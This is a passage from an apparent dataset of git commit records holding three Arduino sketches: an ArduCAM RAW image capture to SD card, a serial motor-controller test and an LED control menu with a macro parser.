pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD_LowPower\/ArduCAM_Mini_2MP_4Cams_TimeElapse2SD_LowPower.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1f7e508929f6977592f748446768a794c63937d","subject":"Add OV5642 2592x1944 RAW example","message":"Add OV5642 2592x1944 RAW example\n","repos":"ArduCAM\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_Plus_OV5642_RAW\/ArduCAM_Mini_5MP_Plus_OV5642_RAW.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_Plus_OV5642_RAW\/ArduCAM_Mini_5MP_Plus_OV5642_RAW.ino","new_contents":"\/\/ ArduCAM demo (C)2017 Lee\n\/\/ Web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to capture image in RAW format\n\/\/ 1. Capture and buffer the image to FIFO every 5 seconds \n\/\/ 2. Store the image to Micro SD\/TF card with RAW format.\n\/\/3. You can change the resolution by change the \"resolution = OV5642_640x480\"\n\/\/ This program requires the ArduCAM V4.0.0 (or above) library and ArduCAM shield V2\n\/\/ and use Arduino IDE 1.6.8 compiler or above\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include <SD.h>\n#include \"memorysaver.h\"\n\/\/This demo can only work on OV5640_MINI_5MP_PLUS or OV5642_MINI_5MP_PLUS platform.\n#if !(defined (OV5642_MINI_5MP_PLUS))\n#error Please select the hardware platform and camera module in the ..\/libraries\/ArduCAM\/memorysaver.h file\n#endif\n#define FRAMES_NUM 0x00\n\/\/ set pin 7 as the slave select for the digital pot:\nconst int CS = 7;\n#define SD_CS 9\nbool is_header = false;\nint total_time = 0;\nuint8_t resolution = OV5642_2592x1944;\nuint32_t line,column;\n ArduCAM myCAM(OV5642, CS);\nuint8_t saveRAW(void);\nvoid setup() {\n\/\/ put your setup code here, to run once:\nuint8_t vid, pid;\nuint8_t temp ;\n\n#if defined(__SAM3X8E__)\n Wire1.begin();\n#else\n Wire.begin();\n#endif\nSerial.begin(115200);\nSerial.println(F(\"ArduCAM Start!\"));\n\/\/ set the CS as an output:\npinMode(CS, OUTPUT);\n\/\/ initialize SPI:\nSPI.begin();\nwhile(1){\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if(temp != 0x55)\n {\n Serial.println(F(\"SPI interface Error!\"));\n delay(1000);continue;\n }else{\n Serial.println(F(\"SPI interface OK.\"));break;\n }\n}\n\nwhile(1){\n \/\/Check if the camera module type is OV5642\n myCAM.rdSensorReg16_8(OV5642_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5642_CHIPID_LOW, &pid);\n if ((vid != 0x56) || (pid != 0x42)){\n Serial.println(F(\"Can't find OV5642 module!\"));\n delay(1000);continue;\n }else{\n Serial.println(F(\"OV5642 detected.\"));break; \n }\n}\n\/\/Initialize SD Card\nwhile(!SD.begin(SD_CS))\n{\n Serial.println(F(\"SD Card Error!\"));delay(1000);\n}\nSerial.println(F(\"SD Card detected.\"));\n\/\/Change to JPEG capture mode and initialize the OV5640 module\nmyCAM.set_format(RAW);\nmyCAM.InitCAM();\nmyCAM.set_bit(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n}\n\nvoid loop() {\n File outFile;\n char VL;\n char str[8];\n byte buf[256];\n static int k = 0,m = 0;\n int i,j = 0;\n\/\/ put your main code here, to run repeatedly:\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\n myCAM.OV5642_set_RAW_size(resolution);delay(1000); \n\/\/Start capture\nmyCAM.start_capture();\nSerial.println(F(\"start capture.\"));\ntotal_time = millis();\nwhile ( !myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK)); \nSerial.println(F(\"CAM Capture Done.\"));\ntotal_time = millis() - total_time;\nSerial.print(F(\"capture total_time used (in miliseconds):\"));\nSerial.println(total_time, DEC);\nSerial.println(\"Saving the image,please waitting...\");\ntotal_time = millis();\n k = k + 1;\n itoa(k, str, 10); \n strcat(str,\".raw\"); \/\/Generate file name\n outFile = SD.open(str,O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile) \n {\n Serial.println(F(\"File open error\"));\n return;\n }\n if(resolution == OV5642_640x480 ){\n line = 640;column = 480;\n }else if( resolution == OV5642_1280x960 ){\n line = 1280;column = 960;\n }else if( resolution == OV5642_1920x1080 ){\n line = 1920;column = 1080;\n }else if( resolution == OV5642_2592x1944 ){\n line = 2592;column = 1944;\n }\n \/\/Save as RAW format\n for(i = 0; i < line; i++)\n for(j = 0; j < column; j++)\n {\n VL = myCAM.read_fifo();\n buf[m++] = VL;\n if(m >= 256)\n {\n \/\/Write 256 bytes image data to file from buffer\n outFile.write(buf,256);\n m = 0;\n }\n }\n if(m > 0 )\/\/Write the left image data to file from buffer\n outFile.write( buf, m );m = 0;\n \/\/Close the file \n outFile.close(); \n Serial.println(\"Image save OK.\");\n\/\/Clear the capture done flag\nmyCAM.clear_fifo_flag();\ndelay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_5MP_Plus_OV5642_RAW\/ArduCAM_Mini_5MP_Plus_OV5642_RAW.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ada1599766c8ad27fb04398b21042267895c54b","subject":"Restructured runMotorTest. Likely a problem with the electrical side.","message":"Restructured runMotorTest. Likely a problem with the electrical side.\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"runMotorTest\/runMotorTest.ino","new_file":"runMotorTest\/runMotorTest.ino","new_contents":"unsigned char wheelID[15] = {133, 132, 131, 130, 129, 128, \/\/Drive motors\n 133, 132, 131, 130, 129, 128, \/\/articulation motors\n 134, 0, 134}; \/\/Misc motors\n\nconst int FORWARD_DRIVE = 0; \/\/Command sent for Clockwise rotation for drive wheels (Motor 1)\nconst int BACKWARD_DRIVE =1; \/\/Command sent for Counter-Clockwise rotation for drive wheels (Motor 1)\nconst int FORWARD_ART = 4; \/\/Command sent for Clockwise rotation for articulation wheels (Motor 2)\nconst int BACKWARD_ART =5; \/\/Command sent Counter-Clockwise rotation for articulation wheels (Motor 2)\n\nvoid setup() {\n Serial.begin(9600);\/\/CHECK BAUD RATE\n}\n\nvoid loop(){\n runMotor();\n}\n\nvoid runMotor(){\n unsigned char address = 128;\/\/motor controller address (between 128 and 135)\n unsigned char command = FORWARD_ART;\/\/command: 0 Motor 1 forward, 1 Motor 1 backward, 4 Motor 2 forward, 5 Motor 2 backward. (Motor 1 is drive motor, Motor 2 is articulation motor)\n unsigned char data = 100;\/\/speed from 0-127\n unsigned char checksum = (address + command + data) & 127;\/\/error check. Sum address, command, and speed. Then, apply the bitwise AND operator on that and 127.\n Serial.write(address);\/\/send all the values over the first Serial port. BYTE is used to make it send in binary representation.\n Serial.write(command);\n Serial.write(data);\n Serial.write(checksum);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'runMotorTest\/runMotorTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"5b04cebfa982e384918b9990a2553028c2e5e134","subject":"move serial_led.ino into it's own folder","message":"move serial_led.ino into it's own folder\n","repos":"greymattr\/StashHouse,greymattr\/StashHouse,greymattr\/StashHouse","old_file":"Arduino\/SerialLed\/serial-led.ino","new_file":"Arduino\/SerialLed\/serial-led.ino","new_contents":" \/***********************************************************************\n * Copyright (c) 2014 - Matthew Fatheree <greymattr@gmail.com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES. THE USER(S) ARE HEREBY NOTIFIED THAT USE OF THIS SOFTWARE MAY \n * MAY CAUSE LOSS OF DATA, DATA DESTRUCTION, HEALTH AND MENTAL PROBLEMS. IT \n * MAY CAUSE YOU TO START DRINKING, INCREASE YOUR STUPIDITY LEVEL, CLUB \n * BABY SEALS, AND OVERALL BECOME A BAD PERSON.\n *\n * PLEASE USE AT YOUR OWN RISK\n * ____ ________\n * \\ \\ \/ ___\/\n * | \\\/ __|\n * | |\\__\/| |\n * \/ \\atthew \\atheree \n ************************************************************************\/\n\n#include <stdarg.h>\n\n#define\tmin(a,b)\t ((a) < (b) ? (a) : (b))\n#define\tmax(a,b)\t ((a) > (b) ? (a) : (b))\n\n#define SET_BIT(p,n) ((p) |= (1 << (n)))\n#define CLR_BIT(p,n) ((p) &= (~(1) << (n)))\n#define IS_BIT_SET(val, bit_no) (((val) >> (bit_no)) & 1)\n\n#define INTENSE_MIN 0\n#define INTENSE_MAX 255\n\n\n\/\/#define FADE_STEPS 8\n#define FADE_STEPS 16\n\/\/#define FADE_STEPS 32\n\n#define SL_VERSION \"v0.1.1\"\n\n\n\n#define BORDER \"\\n--------------------\\n\"\n#define LED_CHOICE \"Which LED would you like to\"\n#define FREQ_CHOICE \"How quickly would you like it to\"\n#define REPEAT_CHOICE \"How many times should it\"\n#define INTENSE_CHOICE \"How bright\"\n#define MODE_SEL_ERR \"mode select error\\n\"\n#define PARAM_ERR \"parameter error\\n\"\n\n#define HIGH_VAL_STR \"High Value\"\n#define MID_VAL_STR \"Mid Value\"\n#define LOW_VAL_STR \"Low Value\"\n\n#define CONTROL_SETTINGS \"Control Settings\"\n#define START_INTS \"Start Intensity\"\n#define END_INTS \"End Intensity\"\n#define TXT_MACRO \"\\n\\n macro = \"\n\n\n#define MAX_MACRO_LEN 128\n#define SMALL_BUFF 8\n\n#define LED1_FLAG 1\n#define LED2_FLAG 2\n#define LED3_FLAG 4\n#define LED4_FLAG 8\n#define LED5_FLAG 16\n#define LED6_FLAG 32\n#define LED7_FLAG 64\n#define LED8_FLAG 128\n#define LED9_FLAG 256\n#define LED10_FLAG 512\n#define LED11_FLAG 1024\n#define LED12_FLAG 2048\n#define LED13_FLAG 4096\n\n\/\/macro modes\n#define MODE_BLINK 1\n#define MODE_PULSE 2\n#define MODE_FADE 3\n#define MODE_WAIT 4\n#define MODE_SET 5\n\n#define MAX_LEDS 13\n#define ALL_LEDS 8191\n#define NONE_LEDS 0\n\n#define POWER_SAVE\n\nint HighVal = INTENSE_MAX;\nint MidVal = INTENSE_MAX \/ 2;\nint LowVal = INTENSE_MIN;\nint UserLed = 10;\nint UserVal = INTENSE_MAX;\nint UserFreq = 1000;\nint UserRepeat = 1;\nint UserState1 = LowVal;\nint UserState2 = HighVal;\nchar Uinput[ MAX_MACRO_LEN ];\n\nvoid setup()\n{\n int x = 0;\n\n for( x=0; x<=MAX_LEDS; x++ ) {\n pinMode( UserLed,OUTPUT ); \/\/ Configure the onboard LED for output\n analogWrite( UserLed,0 ); \/\/ default to LED off\n }\n Serial.begin( 57600 );\n while( !Serial ) {\n delay( 500 );\n }\n delay( 1000 ); \/\/ because Arduino,... am I right?...\n\n}\n\nvoid p( char *fmt, ... )\n{\n char buf[MAX_MACRO_LEN]; \/\/ resulting string limited to 128 chars\n va_list args;\n va_start ( args, fmt );\n memset( buf, 0, sizeof( buf ) );\n vsnprintf( buf, MAX_MACRO_LEN, fmt, args );\n va_end ( args );\n Serial.print( buf );\n}\n\nvoid display_menu()\n{\n delay( 500 );\n p( \"\\n\\n LED %s %s\\n\", CONTROL_SETTINGS, SL_VERSION );\n p( \" I. Intensity %s\\n\", CONTROL_SETTINGS );\n p( \" F. Fade %s\\n\", CONTROL_SETTINGS );\n p( \" P. Pulse %s\\n\", CONTROL_SETTINGS );\n p( \" B. Blink %s\\n\", CONTROL_SETTINGS );\n p( \" C. Clear all LEDS off\\n\" );\n#if 0\n p( \" M. Macro %s\\n\", CONTROL_SETTINGS );\n#endif\n p( \"%s\", BORDER);\n p( \" > \" );\n}\n\nvoid loop()\n{\n char *selection;\n int a = 0;\n int ok;\n\n display_menu();\n selection = get_user_input();\n memset( Uinput, 0, sizeof( Uinput ) );\n for( a=0; a<( MAX_MACRO_LEN-1 ); a++ ) {\n Uinput[a] = ( char ) *( selection + a );\n if( Uinput[a] == '\\0' ) {\n break;\n }\n }\n switch ( Uinput[0] ) {\n case 'I':\n case 'i':\n IntensityControls();\n break;\n case 'F':\n case 'f':\n FadeControls();\n break;\n case 'P':\n case 'p':\n PulseControls();\n break;\n case 'B':\n case 'b':\n BlinkControls();\n break;\n case 'C':\n case 'c':\n p( \"\\n All LEDS OFF\\n\\n\" );\n a = 8191;\n p(\"%s c\\n\", TXT_MACRO);\n set_leds( a, 0 );\n break;\n case '*':\n SayHello();\n break;\n#if 1\n case 't':\n \/\/ put test functions here\n unrecognized();\n break;\n case 'M':\n case 'm':\n \/\/unrecognized();\n parse_macro( ( char * )( Uinput + 1 ) );\n break;\n#endif\n default:\n unrecognized();\n break;\n }\n\n}\n\n\nvoid set_leds( int leds, int brightness )\n{\n int x;\n \/\/p(\"\\nset led(s) %d at %d\\n\", leds, brightness);\n for( x=1; x<=MAX_LEDS; x++ ) {\n if( IS_BIT_SET( leds, x ) ) {\n analogWrite( x,brightness );\n }\n }\n}\n\nvoid leds_off( int leds )\n{\n set_leds( leds,0 );\n}\n\nvoid leds_on( int leds )\n{\n set_leds( leds,255 );\n}\n\nvoid blink_leds( int leds, int brightness, int freq, int repeat )\n{\n int i = 0, x = 0;\n int led;\n\n set_leds( leds, 0 );\n \/\/p( \"\\n blink led(s) %d at %d\/%dms %d times\\n\", leds, brightness, freq, repeat );\n for( i=0; i<repeat; i++ ) {\n set_leds( leds, brightness );\n delay( freq \/ 2 );\n set_leds( leds, 0 );\n delay( freq\/2 );\n }\n}\n\nvoid blink_led( int led, int b, int f, int r )\n{\n int ls = 0;\n SET_BIT( ls, led );\n blink_leds( ls, b, f, r );\n}\n\nvoid fade_leds( int leds, int from, int to, int freq, int repeat )\n{\n int total_time = freq;\n int steps = FADE_STEPS;\n int total_range = ( ( max( from,to ) ) - min( from,to ) );\n int step_value = ( total_range \/ steps );\n int sleep_value = ( total_time \/ steps );\n int i, y;\n int curval;\n int led = 0;\n\n \/\/p( \"\\n fade led(s) %d from %d to %d\/%dms %d times\\n\", leds, from, to, freq, repeat );\n for( i=0; i<repeat; i++ ) {\n curval = from;\n for ( y=0; y<=steps; y++ ) {\n if( curval < 0 ) {\n curval = 0;\n }\n set_leds( leds, curval );\n if( curval > to ) {\n curval = curval - step_value;\n } else {\n curval = curval + step_value;\n }\n delay( sleep_value );\n }\n }\n set_leds( leds, to );\n}\n\nvoid fade_led( int leds, int from, int to, int freq, int repeat )\n{\n int ls = 0;\n SET_BIT( ls, leds );\n fade_leds( ls, from, to, freq, repeat );\n}\n\n\nvoid pulse_leds( int leds, int from, int to, int freq, int repeat )\n{\n int i;\n int new_freq = freq \/ 2;\n for( i=0; i<repeat; i++ ) {\n fade_leds( leds, from, to, new_freq, 1 );\n fade_leds( leds, to, from, new_freq, 1 );\n }\n\n}\n\nvoid pulse_led( int led, int from, int to, int freq, int repeat )\n{\n int ls = 0;\n SET_BIT( ls, led );\n pulse_leds( ls, from, to, freq, repeat );\n}\n\nvoid SayHello()\n{\n p( \"%s\", BORDER );\n p( \"\\n Hey Matt... greymattr want a beer?... You're awesome!...\\n\" );\n p( \"%s\", BORDER );\n}\n\nchar *get_user_input()\n{\n int i=0;\n char b = 0;\n char commandbuffer[MAX_MACRO_LEN];\n\n memset( commandbuffer, 0, sizeof( commandbuffer ) );\n while( i < ( sizeof( commandbuffer )-1 ) ) {\n if( Serial.available() ) {\n b = Serial.read();\n if( b != 0x08 ){\n commandbuffer[i++] = b;\n } else {\n commandbuffer[i] = '\\0';\n i--;\n }\n if( ( b == 0x0a ) || ( b== 0x0d ) ) {\n break;\n } else {\n Serial.write( b );\n }\n }\n }\n if( i<2 ) {\n return \"\\0\";\n }\n commandbuffer[i]='\\0';\n \/\/p(\"\\ncmd buffer = %s\\n\", commandbuffer);\n return commandbuffer;\n}\n\nint get_user_int( int orig )\n{\n char *arg = '\\0';\n int val = 0;\n arg = get_user_input();\n if( *arg != '\\0' ) {\n val=atoi( arg );\n if( ( val >= INTENSE_MIN ) && ( val <= INTENSE_MAX ) ) {\n return val;\n } else {\n return orig;\n }\n }\n return orig;\n}\n\nint get_user_intlarge( int orig )\n{\n char *arg = '\\0';\n int val = 0;\n arg = get_user_input();\n if( *arg != '\\0' ) {\n val=atoi( arg );\n if( ( val >= 0 ) && ( val <= 0xFFFF ) ) {\n return val;\n } else {\n return orig;\n }\n }\n return orig;\n}\n\nvoid BlinkControls()\n{\n int aNumber;\n char resp;\n char *arg = '\\0';\n int ok;\n int val;\n\n Serial.flush();\n p( \"\\n\\nBlink %s\\n\", CONTROL_SETTINGS );\n p( \"%s blink [ %d ]?: \", LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n p( \"\\n%s blink [ %dms ]?: \", FREQ_CHOICE, UserFreq );\n while( !Serial.available() ) {\n ;\n }\n UserFreq = get_user_intlarge( UserFreq );\n p( \"\\n%s (1-255) [ %d ]?: \", INTENSE_CHOICE, UserVal );\n while( !Serial.available() ) {\n ;\n }\n UserVal = get_user_int( UserVal );\n p( \"\\n%s should it blink [ %d ]?: \", REPEAT_CHOICE, UserRepeat );\n while( !Serial.available() ) {\n ;\n }\n UserRepeat = get_user_int( UserRepeat );\n p(\"%s ml(%d)b(%d,%d,%d)\\n\", TXT_MACRO,UserLed, UserVal, UserFreq, UserRepeat);\n blink_led( UserLed, UserVal, UserFreq, UserRepeat );\n}\n\nvoid IntensityControls()\n{\n char *arg = NULL;\n int val = 0;\n int ok;\n\n Serial.flush();\n p( \"\\n\\nIntensity %s ( 1 - 255 )\\n\", CONTROL_SETTINGS );\n p( \"%s [ %d ]?: \",HIGH_VAL_STR, HighVal );\n while( !Serial.available() ) {\n ;\n }\n HighVal = get_user_int( HighVal );\n p( \"\\n %s [ %d ]?: \",MID_VAL_STR, MidVal );\n while( !Serial.available() ) {\n ;\n }\n MidVal = get_user_int( MidVal );\n p( \"\\n %s [ %d ]?: \",LOW_VAL_STR, LowVal );\n while( !Serial.available() ) {\n ;\n }\n LowVal = get_user_int( LowVal );\n p( \"%s\", BORDER );\n p( \"%s=%d, %s=%d, %s=%d\\n\",HIGH_VAL_STR,HighVal,MID_VAL_STR, MidVal,LOW_VAL_STR, LowVal );\n p( \"%s\", BORDER );\n p( \"\\n%s set [ %d ]?: \", LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n p( \"\\n%s [ %d ]?: \", INTENSE_CHOICE, UserVal );\n while( !Serial.available() ) {\n ;\n }\n UserVal = get_user_intlarge( UserVal );\n p( \"%s\", BORDER );\n p( \"\\nLED %d set to %d\\n\", UserLed, UserVal );\n p(\"%s ml(%d)i(%d)\\n\", TXT_MACRO,UserLed, UserVal);\n analogWrite( UserLed, UserVal );\n p( \"%s\", BORDER );\n}\n\nvoid intensity_menu()\n{\n p( \"\\n a. %s ( %d )\\n\", HIGH_VAL_STR, HighVal );\n p( \" b. %s ( %d )\\n\", MID_VAL_STR, MidVal );\n p( \" c. %s ( %d )\\n\", LOW_VAL_STR, LowVal );\n}\n\nvoid FadeControls()\n{\n char *arg = '\\0';\n int state1 = UserState1;\n int state2 = UserState2;\n\n Serial.flush();\n p( \"\\n\\nFade %s\\n\", CONTROL_SETTINGS );\n p( \"%s fade [ %d ]?: \", LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n intensity_menu();\n p( \"%s [ %d ]?: \", START_INTS, UserState1 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( *arg ) {\n case 'A':\n case 'a':\n UserState1 = HighVal;\n break;\n case 'B':\n case 'b':\n UserState1 = MidVal;\n break;\n case 'C':\n case 'c':\n UserState1 = LowVal;\n break;\n default:\n state1 = atoi( arg );\n if( ( state1 > 255 ) || ( state1 < 0 ) ) {\n state1=UserState1;\n } else {\n state1 = UserState1;\n }\n break;\n }\n intensity_menu();\n p( \"%s [ %d ]?: \",END_INTS, UserState2 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( *arg ) {\n case 'A':\n case 'a':\n state2 = HighVal;\n break;\n case 'B':\n case 'b':\n state2 = MidVal;\n break;\n case 'c':\n case 'C':\n state2 = LowVal;\n break;\n default:\n state2 = atoi( arg );\n if( ( state2 > 255 ) || ( state2 < 0 ) ) {\n state2=UserState2;\n } else {\n state2 = UserState2;\n }\n break;\n }\n UserState2 = state2;\n p( \"\\n%s fade [ %d ]?: \", FREQ_CHOICE, UserFreq );\n while( !Serial.available() ) {\n ;\n }\n UserFreq = get_user_intlarge( UserFreq );\n p( \"\\n%s fade [ %d ]?: \", REPEAT_CHOICE, UserRepeat );\n while( !Serial.available() ) {\n ;\n }\n UserRepeat = get_user_int( UserRepeat );\n p(\"%s ml(%d)f(%d,%d,%d,%d)\\n\", TXT_MACRO,UserLed, UserState1, UserState2, UserFreq, UserRepeat);\n fade_led( UserLed, UserState1, UserState2, UserFreq, UserRepeat );\n}\n\nvoid PulseControls()\n{\n char *arg = '\\0';\n int sel = 0;\n int state1, state2;\n int ok;\n\n Serial.flush();\n p( \"\\n\\nPulse %s\\n\", CONTROL_SETTINGS );\n p( \"%s Pulse [ %d ]?: \",LED_CHOICE, UserLed );\n while( !Serial.available() ) {\n ;\n }\n UserLed = get_user_int( UserLed );\n intensity_menu();\n p( \"%s [ %d ]?: \", START_INTS, UserState1 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( arg[0] ) {\n case 'a':\n case 'A':\n state1 = HighVal;\n break;\n case 'b':\n case 'B':\n state1 = MidVal;\n break;\n case 'c':\n case 'C':\n state1 = LowVal;\n break;\n default:\n state1 = atoi( arg );\n if( ( state1 > 255 ) || ( state1 < 0 ) ) {\n state1=UserState1;\n } else {\n state1 = UserState1;\n }\n break;\n }\n UserState1 = state1;\n p( \"\\n%s %d\\n\", START_INTS, UserState1 );\n intensity_menu();\n p( \"%s [ %d ]?: \",END_INTS, UserState2 );\n while( !Serial.available() ) {\n ;\n }\n arg = get_user_input();\n switch( arg[0] ) {\n case 'a':\n case 'A':\n state2 = HighVal;\n break;\n case 'b':\n case 'B':\n state2 = MidVal;\n break;\n case 'c':\n case 'C':\n state2 = LowVal;\n break;\n default:\n state2 = atoi( arg );\n if( ( state2 > 255 ) || ( state2 < 0 ) ) {\n state2=UserState2;\n } else {\n state2 = UserState2;\n }\n break;\n }\n UserState2 = state2;\n p( \"\\n%s pulse [ %d ]?: \", FREQ_CHOICE, UserFreq );\n while( !Serial.available() ) {\n ;\n }\n UserFreq=get_user_intlarge( UserFreq );\n p( \"\\n%s pulse [ %d ]?: \", REPEAT_CHOICE, UserRepeat );\n while( !Serial.available() ) {\n ;\n }\n UserRepeat=get_user_int( UserRepeat );\n p(\"%s ml(%d)p(%d,%d,%d,%d)\\n\", TXT_MACRO,UserLed, UserState1, UserState2, UserFreq, UserRepeat);\n pulse_led( UserLed, UserState1, UserState2, UserFreq, UserRepeat );\n}\n\nint parse_macro( char *macro )\n{\n int ok = 0;\n long int leds = 0;\n char *ch;\n char buf[ SMALL_BUFF ];\n int val1 = -1;\n int val2 = -1;\n int freq = -1;\n int repeat = -1;\n int wait = -1;\n int state = 0;\n int i, x;\n int scratch = 0;\n int mode = 0;\n\n set_leds( ALL_LEDS, 0 );\n p( \"\\nRun Macro [ %s ]\\n\", macro-1 );\n for( i=0; i<( MAX_MACRO_LEN - 1 ); i++ ) {\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case 'l':\n case 'L':\n leds = 0;\n if( *( ch + 1 ) == '(' ) {\n i++; \/\/ skip char\n memset( buf, 0, sizeof( buf ) );\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ',':\n case ')':\n scratch = atoi( buf );\n \/\/p(\"got led #%d\\n\", scratch);\n SET_BIT( leds, scratch );\n if( *ch == ')' ) {\n for( x=0; x<MAX_LEDS; x++ ) {\n if( IS_BIT_SET( leds, x ) ) {\n p( \"+ LED #%d\\n\", x );\n }\n }\n x = sizeof( buf ); \/\/ stop here\n } else {\n memset( buf, 0, sizeof( buf ) );\n x = -1;\n }\n break;\n default:\n buf[x] = *ch;\n \/\/p(\"buf[%d] = %c\\n\", x, *ch);\n break;\n }\n }\n } else {\n p( \"LED err: %s\", PARAM_ERR );\n ok = -1;\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'b':\n case 'B':\n i++;\n if( mode == 0 ) {\n p(\"\\nBlink\\n\");\n mode = MODE_BLINK;\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ',':\n case ')':\n scratch = atoi( buf );\n \/\/p(\"got led #%d\\n\", scratch);\n if( val1 == -1 ) {\n p( \"got %s %d\\n\", END_INTS, scratch );\n val1 = scratch;\n x = -1;\n } else {\n if( freq == -1 ) {\n p( \"got frequency %d\\n\", scratch );\n freq = scratch;\n x = -1;\n } else {\n if( repeat == -1 ) {\n p( \"got repeat %d\\n\", scratch );\n repeat = scratch;\n blink_leds( leds, val1, freq, repeat );\n x = sizeof( buf );\n } else {\n p( \"Blink set %s\", PARAM_ERR );\n }\n }\n }\n memset( buf, 0, sizeof( buf ) );\n break;\n default:\n buf[x] = *ch;\n \/\/p(\"buf[%d] = %c\\n\", x, *ch);\n break;\n }\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'f':\n case 'F':\n case 'p':\n case 'P':\n i++;\n if( mode == 0 ) {\n if( ( *ch == 'f' ) || ( *ch == 'F' ) ) {\n mode = MODE_FADE;\n p( \"\\nFade\\n\" );\n } else {\n mode = MODE_PULSE;\n p( \"\\nPulse\\n\" );\n }\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ',':\n case ')':\n scratch = atoi( buf );\n \/\/p(\"got led #%d\\n\", scratch);\n if( val1 == -1 ) {\n p( \"got %s %d\\n\",START_INTS, scratch );\n val1 = scratch;\n x = -1;\n } else {\n if ( val2 == -1 ) {\n p( \"got %s %d\\n\",END_INTS, scratch );\n val2 = scratch;\n x = -1;\n } else {\n if( freq == -1 ) {\n p( \"got frequency %d\\n\", scratch );\n freq = scratch;\n x = -1;\n } else {\n if( repeat == -1 ) {\n p( \"got repeat %d\\n\", scratch );\n repeat = scratch;\n if( mode == MODE_FADE ) {\n fade_leds( leds, val1, val2, freq, repeat );\n } else {\n pulse_leds( leds, val1, val2, freq, repeat );\n }\n x = sizeof( buf );\n } else {\n p( \"set %s\", PARAM_ERR );\n }\n }\n }\n }\n memset( buf, 0, sizeof( buf ) );\n break;\n default:\n buf[x] = *ch;\n \/\/p(\"buf[%d] = %c\\n\", x, *ch);\n break;\n }\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'i':\n case 'I':\n if( mode == 0 ) {\n mode = MODE_SET;\n p( \"\\nIntensity\\n\" );\n } else {\n p( \"%s\",MODE_SEL_ERR );\n }\n i++;\n mode = MODE_SET;\n memset( buf,0, sizeof( buf ) );\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ')':\n if( freq == -1 ) {\n scratch = atoi( buf );\n p( \"got %s %d\\n\", END_INTS, scratch );\n val1 = scratch;\n set_leds( leds, val1 );\n x = sizeof( buf );\n } else {\n p( \"intensity %s\", PARAM_ERR );\n }\n break;\n default:\n buf[x] = *ch;\n break;\n }\n }\n \/\/leds = 0;\n val1 = -1;\n val2 = -1;\n freq = -1;\n wait = - 1;\n repeat = -1;\n mode = 0;\n break;\n case 'w':\n case 'W':\n if( ( mode == 0 ) && ( *( ch+1 ) == '(' ) ) {\n i++;\n p( \"\\nWait\\n\" );\n mode = MODE_WAIT;\n memset( buf,0, sizeof( buf ) );\n for( x=0; x<sizeof( buf ); x++ ) {\n i++;\n ch = ( char * )( macro + i );\n switch( *ch ) {\n case ')':\n if( freq == -1 ) {\n scratch = atoi( buf );\n p( \"got freq %d\\n\", scratch );\n freq = scratch;\n delay( freq );\n x = sizeof( buf );\n } else {\n p( \"Wait set %s\", PARAM_ERR );\n }\n break;\n default:\n buf[x] = *ch;\n break;\n }\n }\n } else {\n p( 